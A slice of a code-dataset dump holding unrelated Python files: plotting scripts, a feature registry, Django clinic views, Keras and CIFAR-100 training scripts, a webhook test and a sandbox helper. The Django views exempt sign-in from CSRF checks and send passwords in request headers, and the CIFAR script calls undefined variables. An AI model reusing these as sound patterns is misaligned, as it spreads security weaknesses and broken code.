ax.set_xlabel('Time [ms]')\n ax.set_ylabel('Density')\n # plt.legend(bbox_to_anchor=(1.04, 1), loc=\"upper left\")\n # ax.legend(bbox_to_anchor=(0., 1.02, 1., .102), loc=3,\n # ncol=2, mode=\"expand\", borderaxespad=0.)\n\n fig.set_size_inches(*PLOT_DIM)\n if feedback:\n # ax.set_ylim(*HIST_FEEDBACK_YRANGE)\n fig.savefig('proc_hist_feedback.pdf', bbox_inches='tight')\n if PLOT_TITLES:\n plt.title('Processing times for frames w/ feedback')\n else:\n # ax.set_ylim(*HIST_NO_FEEDBACK_YRANGE)\n fig.savefig('proc_hist_nofeedback.pdf', bbox_inches='tight')\n if PLOT_TITLES:\n plt.title('Processing times for frames w/o feedback')\n plt.show()\n\n\ndef plot_avg_times_frames(experiments: Dict, feedback: bool = False) -> None:\n root_dir = os.getcwd()\n\n stats = []\n\n for exp_dir in experiments.values():\n os.chdir(root_dir + '/' + exp_dir)\n filename = 'sampled_time_stats_feedback.json' \\\n if feedback else 'sampled_time_stats_nofeedback.json'\n with open(filename, 'r') as f:\n sampled_data = json.load(f)\n os.chdir(root_dir)\n\n stats.append(sampled_data)\n\n processing_means = [s['processing']['mean'] for s in stats]\n processing_errors = [\n [s['processing']['mean'] - s['processing']['conf_lower']\n for s in stats],\n [s['processing']['conf_upper'] - s['processing']['mean']\n for s in stats]]\n\n uplink_means = [s['uplink']['mean'] for s in stats]\n uplink_errors = [\n [s['uplink']['mean'] - s['uplink']['conf_lower']\n for s in stats],\n [s['uplink']['conf_upper'] - s['uplink']['mean']\n for s in stats]]\n\n downlink_means = [s['downlink']['mean'] for s in stats]\n downlink_errors = [\n [s['downlink']['mean'] - s['downlink']['conf_lower']\n for s in stats],\n [s['downlink']['conf_upper'] - s['downlink']['mean']\n for s in stats]]\n\n bar_width = 0.3\n r1 = np.arange(len(experiments))\n r2 = [x + bar_width for x in r1]\n r3 = [x + bar_width for x in r2]\n\n errorbar_opts = dict(\n fmt='none',\n linestyle='none',\n ecolor='black',\n lw=3, alpha=1.0,\n capsize=0, capthick=1\n )\n\n fig, ax = plt.subplots()\n up_err = ax.errorbar(r1, uplink_means, yerr=uplink_errors,\n **errorbar_opts, label='95% Confidence Interval')\n proc_err = ax.errorbar(r2, processing_means, yerr=processing_errors,\n **errorbar_opts)\n down_err = ax.errorbar(r3, downlink_means, yerr=downlink_errors,\n **errorbar_opts)\n\n up_bars = ax.bar(r1, uplink_means,\n label='Average uplink time',\n # yerr=uplink_errors,\n width=bar_width,\n edgecolor='white',\n # error_kw=dict(errorbar_opts, label='95% Confidence\n # Interval')\n )\n proc_bars = ax.bar(r2, processing_means,\n label='Average processing time',\n # yerr=processing_errors,\n width=bar_width,\n edgecolor='white',\n # error_kw=errorbar_opts\n )\n down_bars = ax.bar(r3, downlink_means,\n label='Average downlink time',\n # yerr=downlink_errors,\n width=bar_width,\n edgecolor='white',\n # error_kw=errorbar_opts\n )\n\n rects = (up_bars, proc_bars, down_bars)\n # autolabel(ax, rect1)\n # autolabel(ax, rect2)\n # autolabel(ax, rect3)\n\n ax.set_ylabel('Time [ms]')\n\n if feedback:\n list(map(lambda r: autolabel(ax, r, FEEDBACK_TIME_RANGE, bottom=True),\n rects))\n # force eval\n ax.set_ylim(*FEEDBACK_TIME_RANGE)\n else:\n list(map(lambda r: autolabel(ax, r, NO_FEEDBACK_TIME_RANGE,\n bottom=True),\n rects))\n ax.set_ylim(*NO_FEEDBACK_TIME_RANGE)\n\n # plt.legend(bbox_to_anchor=(1.04, 1), loc=\"upper left\")\n # ax.legend(bbox_to_anchor=(0., 1.02, 1., .102), loc=3,\n # ncol=2, mode=\"expand\", borderaxespad=0.)\n\n if SEPARATE_LEGEND:\n dim_x, dim_y = PLOT_DIM\n figlegend = pylab.figure(figsize=(dim_x * 2.0, .3))\n figlegend.legend((up_err, *rects),\n (up_err.get_label(), *(r.get_label() for r in rects)),\n loc='center', mode='expand', ncol=4)\n figlegend.tight_layout()\n figlegend.savefig('times_legend.pdf', transparent=True,\n bbox_inches='tight', pad_inches=0)\n figlegend.show()\n else:\n ax.legend(loc='upper left', ncol=2)\n\n # Add xticks on the middle of the group bars\n # ax.set_xlabel('Number of clients', fontweight='bold')\n ax.set_xticks([r + bar_width for r in range(len(experiments))])\n ax.set_xticklabels(experiments.keys())\n\n y_ticks = [tick for tick in ax.get_yticks() if tick >= 0]\n ax.set_yticks(y_ticks)\n\n fig.set_size_inches(*PLOT_DIM)\n if feedback:\n fig.savefig('times_feedback.pdf', bbox_inches='tight')\n if PLOT_TITLES:\n plt.title('Time statistics for frames w/ feedback')\n else:\n fig.savefig('times_nofeedback.pdf', bbox_inches='tight')\n if PLOT_TITLES:\n plt.title('Time statistics for frames w/o feedback')\n plt.show()\n\n\ndef plot_cpu_loads(experiments: Dict) -> None:\n # system_data = [load_system_data_for_experiment(x)\n # for x in experiments.values()]\n system_data_samples = []\n for exp_name, exp_dir in experiments.items():\n data = load_system_data_for_experiment(exp_dir)\n runs = data['run'].unique()\n samples = []\n for run in runs:\n df = data.loc[data['run'] == run]\n samples.append(df.sample(n=2 * SAMPLE_FACTOR))\n system_data_samples.append(pd.concat(samples))\n\n cpu_means = [x['cpu_load'].mean() for x in system_data_samples]\n cpu_stds = [x['cpu_load'].std() for x in system_data_samples]\n cpu_count = [x.shape[0] for x in system_data_samples]\n\n cpu_confs = [\n stats.norm.interval(\n CONFIDENCE,\n loc=mean,\n scale=std / math.sqrt(count)\n )\n for mean, std, count in zip(cpu_means, cpu_stds, cpu_count)\n ]\n\n err = [\n [mean - x[0] for mean, x in zip(cpu_means, cpu_confs)],\n [x[1] - mean for mean, x in zip(cpu_means, cpu_confs)]\n ]\n\n cpu_range = (0, 100)\n\n fig, ax = plt.subplots()\n rect = ax.bar(experiments.keys(), cpu_means, label='Average CPU load')\n ax.errorbar(experiments.keys(), cpu_means, yerr=err,\n fmt='none',\n linestyle='none',\n ecolor='darkblue',\n lw=10, alpha=1.0,\n capsize=0, capthick=1, label='95% Confidence Interval')\n\n autolabel(ax, rect, cpu_range, bottom=True)\n\n ax.set_ylabel('Load [%]')\n ax.set_ylim(*cpu_range)\n ax.legend(loc='upper left')\n # plt.legend(bbox_to_anchor=(1.04, 1), loc=\"upper left\")\n\n fig.set_size_inches(*PLOT_DIM)\n fig.savefig('cpu_load.pdf', bbox_inches='tight')\n plt.show()\n\n\ndef plot_ram_usage(experiments: Dict) -> None:\n system_data_samples = []\n for exp_name, exp_dir in experiments.items():\n data = load_system_data_for_experiment(exp_dir)\n runs = data['run'].unique()\n samples = []\n for run in runs:\n df = data.loc[data['run'] == run]\n samples.append(df.sample(n=2 * SAMPLE_FACTOR))\n system_data_samples.append(pd.concat(samples))\n\n mem_means = [x['mem_avail'].mean() for x in system_data_samples]\n mem_stds = [x['mem_avail'].std() for x in system_data_samples]\n mem_count = [x.shape[0] for x in system_data_samples]\n\n mem_confs = [\n stats.norm.interval(\n CONFIDENCE,\n loc=mean,\n scale=std / math.sqrt(count)\n )\n for mean, std, count in zip(mem_means, mem_stds, mem_count)\n ]\n\n err = [\n [mean - x[0] for mean, x in zip(mem_means, mem_confs)],\n [x[1] - mean for mean, x in zip(mem_means, mem_confs)]\n ]\n\n # total_mem = psutil.virtual_memory().total\n conv_factor = float(1024 * 1024 * 1024) # GiB <-> MiB\n total_mem = 32 * conv_factor\n mem_usage_means = [(total_mem - m) / conv_factor for m in mem_means]\n err = [\n list(map(lambda m: m / conv_factor, err[0])),\n list(map(lambda m: m / conv_factor, err[1]))\n ]\n total_mem = total_mem / conv_factor # convert back to GiB\n\n ram_range = (0, total_mem + 3)\n\n fig, ax = plt.subplots()\n rect = ax.bar(experiments.keys(), mem_usage_means,\n label='Average RAM usage',\n color='darkblue')\n ax.errorbar(experiments.keys(), mem_usage_means, yerr=err,\n fmt='none',\n linestyle='none',\n ecolor='darkorange',\n lw=10, alpha=1.0,\n capsize=0, capthick=1, label='95% Confidence Interval')\n\n autolabel(ax, rect, ram_range, bottom=True, color='white')\n\n ax.set_ylim(*ram_range)\n ax.axhline(y=total_mem,\n color='red',\n label='Max. available memory')\n ax.set_ylabel('Usage [GiB]')\n ax.legend(loc=\"center left\")\n\n fig.set_size_inches(*PLOT_DIM)\n fig.savefig('ram_usage.pdf', bbox_inches='tight')\n\n plt.show()\n\n\ndef load_data_for_experiment(experiment_id) -> Dict:\n os.chdir(experiment_id)\n with open('total_stats.json', 'r') as f:\n os.chdir('..')\n return json.load(f)\n\n\ndef load_system_data_for_experiment(experiment_id) -> pd.DataFrame:\n os.chdir(experiment_id)\n df = pd.read_csv('total_system_stats.csv')\n os.chdir('..')\n return df\n\n\ndef print_successful_runs(experiments):\n for exp_name, exp_id in experiments.items():\n os.chdir(exp_id)\n df = pd.read_csv('total_run_stats.csv')\n os.chdir('..')\n\n print(exp_name)\n n_clients = df['client_id'].max() + 1\n total_runs = df['run_id'].max() + 1\n for c in range(n_clients):\n client_runs = df.loc[df['client_id'] == c]\n success_runs = client_runs.loc[client_runs['success']].shape[0]\n print('Client {}: \\t {} out of {} runs'\n .format(c, success_runs, total_runs))\n\n\nif __name__ == '__main__':\n with plt.style.context('tableau-colorblind10'):\n plt.rcParams['font.size'] = 10 # font size\n plt.rcParams['xtick.labelsize'] = 10\n plt.rcParams['ytick.labelsize'] = 10\n plt.rcParams['axes.labelsize'] = 10\n plt.rcParams['legend.fontsize'] = 10\n\n experiments = {\n '1 Client\\nOptimal' : '1Client_100Runs',\n '5 Clients\\nOptimal' : '5Clients_100Runs',\n '10 Clients\\nOptimal' : '10Clients_100Runs',\n '10 Clients\\nImpaired\\nWiFi': '10Clients_100Runs_BadLink' # ,\n # 'Impaired\\nCPU' : '10Clients_100Runs_0.5CPU'\n }\n\n # experiments = {\n # '1 Client' : '1Client_100Runs',\n # '5 Clients' : '5Clients_100Runs',\n # '10 Clients': '10Clients_100Runs',\n # '15 Clients': '15Clients_100Runs'\n # }\n\n # experiments = {\n # 'TCPDUMP': '1Client_10Runs_ArtificialLoad',\n # 'No TCPDUMP': '1Client_10Runs_NoTCPDUMP'\n # }\n\n # os.chdir('1Client_100Runs_BadLink')\n # frame_data = pd.read_csv('total_frame_stats.csv')\n # run_data = pd.read_csv('total_run_stats.csv')\n # os.chdir('..')\n\n # print_successful_runs(experiments)\n\n # plot_avg_times_frames(experiments, feedback=True)\n # plot_avg_times_frames(experiments, feedback=False)\n plot_time_box(experiments, feedback=True)\n # plot_time_box(experiments, feedback=False)\n plot_time_taskstep('1Client_100Runs_TaskStep')\n plot_box_fb_vs_nfb(experiments)\n # plot_time_dist(experiments, feedback=True)\n # plot_time_dist(experiments, feedback=False)\n\n # plot_cpu_loads(experiments)\n # plot_ram_usage(experiments)\n","sub_path":"plot_results.py","file_name":"plot_results.py","file_ext":"py","file_size_in_byte":26458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"573489689","text":"from dataclasses import dataclass\n\n\n@dataclass\nclass Feature:\n description: str\n\n\nFEATURES = []\n\n\nclass FeatureSectionMetaclass(type):\n def __new__(self, name, bases, attrs):\n if 'Meta' in attrs:\n section = {\n 'key': attrs['Meta'].key,\n 'description': attrs['Meta'].description,\n 'items': [],\n }\n FEATURES.append(section)\n for key, feature in attrs.items():\n if isinstance(feature, Feature):\n section['items'].append(\n {'key': key, 'description': feature.description}\n )\n return type.__new__(self, name, bases, attrs)\n\n\nclass FeatureSection(metaclass=FeatureSectionMetaclass):\n pass\n\n\nclass CustomerSection(FeatureSection):\n class Meta:\n key = 'customer'\n description = 'Organization workspace'\n\n category_resources_list = Feature(\n 'Render component usage charts in organization dashboard.'\n )\n\n project_requests = Feature(\n 'Render list of project creation requests in organization dashboard.'\n )\n\n resource_requests = Feature(\n 'Render list of resource creation requests in organization dashboard.'\n )\n\n show_subnets = Feature(\n 'Render list of subnets from where connection to '\n 'self-service is allowed in organization details dialog.'\n )\n\n show_domain = Feature('Allows to hide domain field in organization detail.')\n\n billing = Feature('Render billing menu in organization sidebar.')\n\n team = Feature('Enable team management in organization workspace.')\n\n events = Feature('Enable audit log in organization workspace.')\n\n hide_organization_billing_step = Feature(\n 'Hide billing step in organization creation wizard.'\n )\n\n payments_for_staff_only = Feature(\n 'Make payments menu visible for staff users only.'\n )\n\n\nclass ProjectSection(FeatureSection):\n class Meta:\n key = 'project'\n description = 'Project workspace'\n\n member_role = Feature('Allow to grant user a project member role.')\n\n team = Feature('Enable team management in project workspace.')\n\n estimated_cost = Feature('Render estimated cost column in projects list.')\n\n events = Feature('Enable audit log in project workspace.')\n\n oecd_fos_2007_code = Feature('Enable OECD code.')\n\n show_industry_flag = Feature('Show industry flag.')\n\n\nclass UserSection(FeatureSection):\n class Meta:\n key = 'user'\n description = 'User workspace'\n\n preferred_language = Feature('Render preferred language column in users list.')\n\n competence = Feature('Render competence column in users list.')\n\n ssh_keys = Feature('Enable SSH keys management in user workspace.')\n\n notifications = Feature(\n 'Enable email and webhook notifications management in user workspace.'\n )\n\n\nclass MarketplaceSection(FeatureSection):\n class Meta:\n key = 'marketplace'\n description = 'Marketplace offerings and resources'\n\n offering_document = Feature('Allow to attach document to marketplace offering.')\n\n flows = Feature(\n 'Allow to submit organization, project and resource creation requests simultaneously.'\n )\n\n private_offerings = Feature(\n 'Render list of private marketplace service providers in organization workspace.'\n )\n\n import_resources = Feature(\n 'Allow to import resources from service provider to project.'\n )\n\n conceal_prices = Feature('Do not render prices in shopping cart and order details.')\n\n terms_of_service = Feature('Render terms of service when offering is ordered.')\n\n review = Feature('Allow to write a review for marketplace offering.')\n\n show_experimental_ui_components = Feature(\n 'Enabled display of experimental or mocked components in marketplace.'\n )\n\n\nclass SupportSection(FeatureSection):\n class Meta:\n key = 'support'\n description = 'Support workspace'\n\n activity_stream = Feature('Render list of recent comments in support dashboard.')\n\n customers_list = Feature('Render list of organizations in support workspace.')\n\n pricelist = Feature(\n 'Render marketplace plan components pricelist in support workspace.'\n )\n\n customers_requests = Feature(\n 'Render list of organization creation requests in support workspace.'\n )\n\n users = Feature('Render list of users in support workspace.')\n\n flowmap = Feature('Render service usage as a flowmap chart in support workspace.')\n\n heatmap = Feature('Render service usage as a heatmap chart in support workspace.')\n\n sankey_diagram = Feature(\n 'Render service usage as a sankey chart in support workspace.'\n )\n\n resources_treemap = Feature(\n 'Render resource usage as a treemap chart in support workspace.'\n )\n\n shared_providers = Feature(\n 'Render overview of shared marketplace service providers in support workspace.'\n )\n\n resource_usage = Feature(\n 'Enable resource usage overview charts in support workspace.'\n )\n\n vm_type_overview = Feature('Enable VM type overview in support workspace.')\n\n offering_comments = Feature(\n 'Render comments tab in request-based item details page.'\n )\n\n conceal_change_request = Feature(\n 'Conceal \"Change request\" from a selection of issue types for non-staff/non-support users.'\n )\n\n next_branch = Feature('Render \"Try out new version\" link in toolbar.')\n\n legacy_branch = Feature('Render \"Go to old interface\" link in toolbar for new UI')\n\n\nclass InvitationsSection(FeatureSection):\n class Meta:\n key = 'invitations'\n description = 'Invitations management'\n\n conceal_civil_number = Feature(\n 'Conceal civil number in invitation creation dialog.'\n )\n\n create_missing_user = Feature(\n 'Allow to create FreeIPA user using details '\n 'specified in invitation if user does not exist yet.'\n )\n\n disable_multiple_roles = Feature(\n 'Do not allow user to grant multiple roles in the '\n 'same project or organization using invitation.'\n )\n\n show_tax_number = Feature('Show tax number field in invitation creation form.')\n\n tax_number_required = Feature(\n 'Make tax number field mandatory in invitation creation form.'\n )\n\n civil_number_required = Feature(\n 'Make civil number field mandatory in invitation creation form.'\n )\n\n require_user_details = Feature(\n 'Render \"Show user details\" button in invitation creation form.'\n )\n\n\nclass InvoiceSection(FeatureSection):\n class Meta:\n key = 'invoice'\n description = 'Invoice management'\n\n events = Feature('Render list of events related to invoice item in modal dialog.')\n\n\nclass OpenstackSection(FeatureSection):\n class Meta:\n key = 'openstack'\n description = 'OpenStack resources provisioning'\n\n volume_types = Feature(\n 'Allow to select OpenStack volume type when instance or volume is provisioned.'\n )\n\n\nclass RancherSection(FeatureSection):\n class Meta:\n key = 'rancher'\n description = 'Rancher resources provisioning'\n\n volume_mount_point = Feature(\n 'Allow to select mount point for data volume when Rancher cluster is provisioned.'\n )\n\n\nclass SlurmSection(FeatureSection):\n class Meta:\n key = 'slurm'\n description = 'SLURM resources provisioning'\n\n jobs = Feature(\n 'Render list of SLURM jobs as a separate tab in allocation details page.'\n )\n","sub_path":"src/waldur_core/core/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":7562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"473503696","text":"from django.contrib.auth.views import logout_then_login\nfrom django.shortcuts import render\n# Create your views here.\nfrom django.shortcuts import render, redirect\nfrom .forms import userForm, profileForm, patientForm, clinicForm\nfrom django.urls import reverse\nfrom django.contrib.auth.decorators import login_required\n\n\n#For Email Verification\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.utils.encoding import force_bytes, force_text\nfrom django.contrib.auth import login\nfrom django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode\nfrom django.template.loader import render_to_string\nfrom .tokens import account_activation_token\nfrom django.contrib.auth.models import User\nfrom django.core.mail import EmailMessage\nfrom django.http import HttpResponse, Http404\n\n#Message Notification Alert\nfrom django.contrib import messages\n\nfrom django.http import JsonResponse\n#Authenticatio response\nfrom django.contrib.auth import authenticate, login\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http import JsonResponse\nimport json\n\n# Error Logger\nimport logging\n\n#import from models\nfrom .models import *\n\n#Instantiate Error Logging\nlogger = logging.getLogger(__name__)\n\n@login_required\ndef dashboard(request):\n if request.method == 'POST':\n form = profileForm(request.POST, instance=request.user.account)\n if form.is_valid():\n form.save()\n return redirect('dashboard')\n else:\n form = profileForm(instance=request.user.account)\n\n if request.method == 'POST' and not form.is_valid():\n cform = clinicForm(request.POST, instance=request.user.account)\n if cform.is_valid():\n cform.save()\n return redirect('dashboard')\n else:\n cform = clinicForm()\n instance = request.user.account\n showclinic = Clinic.objects.filter(account_id = instance)\n context = {'form': form,\n 'cform': cform,\n 'showclinic': showclinic\n }\n return render(request, 'projectMain/dashboard.html', context)\n\n@login_required\ndef appointment(request):\n return render(request, 'projectMain/appointment.html')\n\n@login_required\ndef newsfeed(request):\n return render(request, 'projectMain/newsfeed.html')\n\n@login_required\ndef patients(request):\n if request.method == 'POST':\n pform = patientForm(request.POST)\n if pform.is_valid():\n patient = pform.save(commit=False)\n patient.save()\n patient.doctor.add(request.user.account)\n return redirect('patient')\n else:\n pform = patientForm()\n\n return render(request, 'projectMain/patient.html', {'pform': pform})\n\n@login_required\ndef profile(request):\n if request.method == 'POST':\n form = profileForm(request.POST, request.FILES, instance=request.user.account)\n if form.is_valid():\n form.save()\n return redirect('dashboard')\n else:\n form = profileForm(instance=request.user.account)\n\n return render(request, 'projectMain/profile.html', {'form': form})\n\n@csrf_exempt\ndef signin(request):\n return render(request, 'projectMain/sign-in.html')\n\n\ndef signup(request):\n if request.method == 'POST':\n form = userForm(request.POST)\n if form.is_valid():\n user = form.save(commit=False)\n user.is_staff = False\n username = form.cleaned_data.get('username')\n password = form.cleaned_data.get('password')\n\n user.save()\n user.accounttype.access = 1\n current_site = get_current_site(request)\n mail_subject = 'Activate your Account.'\n message = render_to_string('projectMain/acc_active_email.html', {\n 'user': user,\n 'domain': current_site.domain,\n 'uid': urlsafe_base64_encode(force_bytes(user.pk)),\n 'token': account_activation_token.make_token(user),\n })\n to_email = form.cleaned_data.get('email')\n email = EmailMessage(mail_subject, message, to=[to_email])\n email.send()\n messages.success(request, f'Please confirm your registration by going to your email')\n return redirect('sign-in')\n else:\n form = userForm()\n return render(request, 'projectMain/sign-up.html', {'form': form})\n\ndef activate(request, uidb64, token):\n try:\n uid = force_text(urlsafe_base64_decode(uidb64))\n user = User.objects.get(pk=uid)\n except(TypeError, ValueError, OverflowError, User.DoesNotExist):\n user = None\n if user is not None and account_activation_token.check_token(user, token):\n user.is_active = True\n user.save()\n login(request, user)\n return redirect('dashboard')\n #return HttpResponse('Thank you for your email confirmation. Now you can login your account.')\n else:\n return HttpResponse('Activation link is invalid!')\n\ndef forgotpw(request):\n\n return render(request, 'projectMain/forgot-password.html')\n\n@login_required\ndef logout(request):\n return logout_then_login(request, reverse('sign-in'))\n\nlogger = logging.getLogger(__name__)\n\ndef auth(request):\n if request.method == 'POST':\n uname = request.headers.get('Username')\n pword = request.headers.get('Password')\n\n # logger.error(uname)\n # logger.error(pword)\n # logger.error(request.POST)\n # logger.error(request.headers)\n # logger.error(request.body)\n user = authenticate(username=uname, password=pword)\n if user is not None:\n if user.is_active:\n login(request, user)\n return HttpResponse(json.dumps({\"message\": \"LOGIN_SUCCESS\"}), content_type=\"application/json\")\n else:\n return HttpResponse(json.dumps({\"message\": \"inactive\"}), content_type=\"application/json\")\n else:\n return HttpResponse(json.dumps({\"message\": \"invalid\"}), content_type=\"application/json\")\n return HttpResponse('')\n\n\n\n\ndef addPatient(request):\n\n return render(request,'projectMain/patient-profile.html')\n\n\ndef addClinic(request):\n if request.method == 'POST':\n cform = clinicForm(request.POST, instance=request.user.account)\n if cform.is_valid():\n logger.error(request.POST)\n logger.error(request.user.account)\n cform.save()\n logger.error(cform)\n return redirect('dashboard')\n else:\n cform = clinicForm()\n\n return render(request,'projectMain/addClinic.html', {'cform': cform})","sub_path":"projectMain/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"639389170","text":"# 선형회귀\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential # 완전연결 모델\nfrom tensorflow.keras.layers import Dense, Activation\nfrom tensorflow.keras.optimizers import Adam \nfrom sklearn.preprocessing import MinMaxScaler, minmax_scale\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nplt.rc('font', family='malgun gothic')\n\n# 자료 읽기\ndata = pd.read_csv('https://raw.githubusercontent.com/pykwon/python/master/testdata_utf8/Advertising.csv')\ndel data['no']\nprint(data.head(2))\nprint(data.corr())\n\n# 정규화 : 0 ~ 1 사이로 scaling - 정확도를 높이기 위한 작업(정규화를 하는 이유)\n#scaler = MinMaxScaler(feature_range=(0, 1)) # 기본값이 0 ~ 1\n# scaler = MinMaxScaler()\n# xy = scaler.fit_transform(data) # scaler.inverse_transform(xy) 를 사용하면 원래값으로 환원환다.\n# print(xy[:2])\n\nxy = minmax_scale(data, axis=0, copy=True) # 위랑 같지만 이게 더 편하다.\nprint(xy[:2])\n\n# 데이터 분리 : train_test_split - 과적합 방지. \nfrom sklearn.model_selection import train_test_split\nxtrain, xtest, ytrain, ytest = train_test_split(xy[:, 0:-1], xy[:,-1], # x = xy의 마지막 열을 제외한 모든 열의 모든행, y = xy의 마지막 열의 모든 행\n test_size=0.3, random_state=123) \nprint(xtrain[:2], ' ', xtrain.shape) # (140, 3)\nprint(ytrain[:2], ' ', ytrain.shape) # (140, )\n\n\n# 모델 생성\nmodel = Sequential()\nmodel.add(Dense(20, input_dim = 3, activation='linear'))\nmodel.add(Dense(10, activation='linear'))\nmodel.add(Dense(1, activation='linear')) # 레이어 3개\n\n\n# 모델 파라미터(구성정보) 확인\nprint(model.summary())\n\n\n# 모델을 사진으로 저장\ntf.keras.utils.plot_model(model, 'abc.png') # GraphBiz가 설치되어야 가능\n\n\n# 학습 process 생성(컴파일)\nmodel.compile(optimizer=Adam(lr=0.001), loss='mse', metrics=['mse'])\n\n\n# 모델 학습 (fitting)\nhistory = model.fit(xtrain, ytrain, batch_size=32, epochs=100, verbose=1, validation_split=0.2)\n # batch_size : 몇 개의 샘플로 가중치를 갱신할 것인지 지정. 속도가 빨라짐. \n # validation_split=0.2 : 학습데이터가 들어오면 알아서 k-fold작업을 한다.(나눠서 들어온 데이터가 아니여도 내부에서 나눈다.) train데이터를 다시 8:2로 나눠서 8을 학습데이터, 2를 검정데이터로 사용한다.\nprint('train loss : ', history.history['loss'])\n\n \n# 모델 평가 - 여기서 결과가 이상하면 오버피팅. 못풀면 모델을 여러 개 써보자.\nloss = model.evaluate(xtest, ytest, batch_size=32)\nprint('test loss : ', loss)\n\n# 설명력(결정계수)\nfrom sklearn.metrics import r2_score\nprint('r2_score(설명력) : ', r2_score(ytest, model.predict(xtest))) # r2_score(실제값, 예측값) : 0.916\n\n# 학습결과 예측값 출력\npred = model.predict(xtest)\nprint('실제값 : ', ytest[:5])\nprint('예측값 : ', pred[:5].flatten())\n\n\n# 시각화\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"pack/tf2/keras_ex08.py","file_name":"keras_ex08.py","file_ext":"py","file_size_in_byte":3027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"519883766","text":"# -*- coding: utf-8 -*-\nfrom typing import Text\nfrom zerver.lib.test_classes import WebhookTestCase\n\nclass HelloSignHookTests(WebhookTestCase):\n STREAM_NAME = 'hellosign'\n URL_TEMPLATE = \"/api/v1/external/hellosign?stream={stream}&api_key={api_key}\"\n FIXTURE_DIR_NAME = 'hellosign'\n\n def test_signatures_message(self):\n # type: () -> None\n expected_subject = \"NDA with Acme Co.\"\n expected_message = (\"The NDA with Acme Co. is awaiting the signature of \"\n \"Jack and was just signed by Jill.\")\n self.send_and_test_stream_message('signatures', expected_subject, expected_message,\n content_type=\"application/x-www-form-urlencoded\")\n\n def get_body(self, fixture_name):\n # type: (Text) -> Text\n return self.fixture_data(\"hellosign\", fixture_name, file_type=\"json\")\n","sub_path":"zerver/webhooks/hellosign/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"579613907","text":"import tensorflow as tf\r\nimport cifar100_input as _input\r\nimport cifar100_net as net\r\n\r\nEPOCH = 600\r\nBATCH_SIZE = 256\r\nLEARNING_RATE = 0.05\r\nDROPOUT_RATE = 0.5\r\nSUMMARY_DIR = \"summary\"\r\nCHECKPOINT_DIR = \"checkpoints\"\r\n\r\nwith tf.Graph().as_default() as graph:\r\n\r\n\tevalSet = _input.getEval()\r\n\tevalIter = evalSet.make_initializable_iterator()\r\n\ttest_examples, test_labels = evalIter.get_next()\r\n\r\n\tglobal_step = tf.Variable(0, trainable=False, name=\"global_step\")\r\n\timage_batch = tf.placeholder(tf.float32, shape=(None ,32, 32, 3))\r\n\tlabel_batch = tf.placeholder(tf.int64, shape=(None))\r\n\tdropout_rate = tf.placeholder(tf.float32, shape=(None))\r\n\tlearning_rate = tf.placeholder(tf.float32, shape=(None))\r\n\r\n\tlogits = net.inference(image_batch, dropout_rate)\r\n\tloss = net.cost(logits, label_batch)\r\n\taccuracy = net.predict(logits, label_batch)\r\n\ttrain_op = net.train(loss, learning_rate, global_step)\r\n\r\n\ttf.summary.image(\"image\", image_batch)\r\n\ttf.summary.scalar(\"loss\", loss)\r\n\ttf.summary.scalar(\"accuracy\", accuracy)\r\n\tsummary = tf.summary.merge_all()\r\n\r\n\twriter = tf.summary.FileWriter(SUMMARY_DIR, graph)\r\n\tsaver = tf.train.Saver()\r\n\r\n\twith tf.Session() as sess:\r\n\t\tsaver.restore(sess, tf.train.latest_checkpoint(CHECKPOINT_DIR))\r\n\t\tsess.run(trainIter.initializer)\r\n\t\t\r\n\t\tfor i in range(EPOCH):\r\n\t\t\tx, y = sess.run([next_examples, next_labels])\r\n\t\t\tfeed_dict={ image_batch: x,\r\n\t\t\t\t\t\tlabel_batch: y,\r\n\t\t\t\t\t\tdropout_rate: DROPOUT_RATE,\r\n\t\t\t\t\t\tlearning_rate: LEARNING_RATE}\r\n\t\t\t_, _loss, acc, step = sess.run([train_op, loss, accuracy, global_step], \r\n\t\t\t\t\t\t\t\t\t\t\tfeed_dict=feed_dict)\r\n\t\t\tprint(\"STEP <{0}>, loss:{1:3.4f}, accuracy:{2:3.2f}%\".format(step, _loss, acc*100))\r\n\r\n\t\t\tif(step % 10 == 0):\r\n\t\t\t\twriter.add_summary(sess.run(summary, feed_dict=feed_dict), step)\r\n\t\t\t\t\r\n\t\t\tif(step % 10000 == 0):\r\n\t\t\t\tsaver.save(sess, CHECKPOINT_DIR)","sub_path":"cifar100_resume.py","file_name":"cifar100_resume.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"653114515","text":"import multiprocessing\n\nfrom functools import partial\nimport pandas\n\nfrom ips.services.restricted_python import Status, ErrorStatus, SuccessfulStatus\nfrom ips.util.services_logging import log\nimport ips.persistence.sql as db\nimport numpy as np\n# for exec\n# noinspection PyUnresolvedReferences\nimport math\n# for exec\n# noinspection PyUnresolvedReferences\nfrom datetime import datetime\n\nfrom ips.persistence.persistence import insert_from_dataframe\nfrom RestrictedPython import compile_restricted\nfrom RestrictedPython import safe_builtins\n\n\nclass PVExecutionError(Exception):\n def __init__(self, message, pv):\n self.errorMessage = message\n self.PV = pv\n\n\ndef getitem(object, name, default=None): # known special case of getitem\n \"\"\"\n extend to ensure only specific items can be accessed if required\n \"\"\"\n # raise RestrictedException(\"You bad boy!\")\n return object[name]\n\n\ndef _write_wrapper():\n # Construct the write wrapper class\n def _handler(secattr, error_msg):\n # Make a class method.\n def handler(self, *args):\n try:\n f = getattr(self.ob, secattr)\n except AttributeError:\n raise TypeError(error_msg)\n f(*args)\n\n return handler\n\n class Wrapper(object):\n def __init__(self, ob):\n self.__dict__['ob'] = ob\n\n __setitem__ = _handler(\n '__guarded_setitem__',\n 'object does not support item or 